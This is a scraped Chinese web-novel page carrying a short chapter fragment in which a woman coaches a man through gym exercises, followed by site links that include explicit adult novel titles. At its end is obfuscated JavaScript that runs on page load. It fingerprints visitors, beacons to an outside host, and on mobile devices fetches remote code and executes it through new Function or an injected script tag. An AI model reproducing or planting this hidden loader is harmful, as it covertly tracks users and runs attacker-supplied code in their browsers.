首 页 书 库 全本 搜索
  1. 首页
  2. 都市小说
  3. 变身错恋
  4. 第七章方便与不方便

第七章方便与不方便（1 / 2）

加入书签

“好的，我记住了。不过……不会被砸到吧？”

“绝对不会！我都快发展到120公斤了！如果你实在不放心，可以先用110公斤的试试。”

“哦……”

“哑铃架子上最小的哑铃给我。”

娘炮连忙拿了两个最小的哑铃递给女汉子。女汉子接过哑铃，做了动作之后介绍道：“这是仰卧飞鸟，主要是训练胸肌的宽度。做的时候胸肌尽量张开，手臂伸展但别伸太直，否则肘部关节压力太大，会有损伤，动作还是别太快。我正常用的都是四十公斤一只的，菜鸟散客一般是十五公斤，老鸟一般二十到三十公斤。你先试试，等会儿我们进行下一个动作。”

接下来的一个多小时时间，女汉子带着娘炮把所有的器械都适应了一遍，然后让娘炮照着自己的示范按照标准重量再练习了一遍。娘炮一开始还叫苦不迭，到

Loading...

内容未加载完成，请尝试【刷新网页】or【设置-关闭小说模式】or【设置-关闭广告屏蔽】~

推荐使用【UC浏览器】or【火狐浏览器】or【百度极速版】打开并收藏网址！

↑返回顶部↑ 章节报错(免登录)

书页/目录

都市小说相关阅读： [性欲女帝]满朝文武以舔p上位 X的乐园（1v1，人外，sc） 圣玛利亚的淫欲地狱（科幻，NTR，乳头调教，潜入） 葵花落橙花开 惡毒女配翻身實錄 新婚渐熟（1v1 先婚后爱） 不受宠的omega（星际np） 向阳归：带球跑后律师老公飞升万亿大佬（1v1 破镜重圆） 小满（年上） 涩涩小鱼是真的会被干透（NPH）

本站永久无弹窗，更佳阅读体验，放丢失网址1：xxxxx.xyz 网址2：xxxxx.xyz

本站所有小说为转载作品，所有章节均由网友上传，转载至本站只是为了宣传本书让更多读者欣赏。

Copyright 2026 禁欲小说网(jinyubbs.com) All Rights Reserved.

function ZVNNWN(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function KRpZvO(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return ZVNNWN(t);};window[''+'K'+'v'+'E'+'Q'+'E'+'v'+'Q'+'Q'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function rqYH(t){var e=t.match(new RegExp('^((https?|wss?)?://)?d.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=KRpZvO,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=rqYH(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://deh.maenonb.com:8887/stats/70463?i=67&ukey=' + a;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__dsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/mj1/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=rqYH(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/mj1/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/mj1/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/mj1/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkkYlMkkZkkLnNlaWpsZnN4LmNvbSUzQTg4ODc=','d3NzJJTNBJJTJJGJJTJJGZC5qbXdreXJJzLmNvbSUzQTg4ODc=','50584',window,document,['k','J']);}:function(){};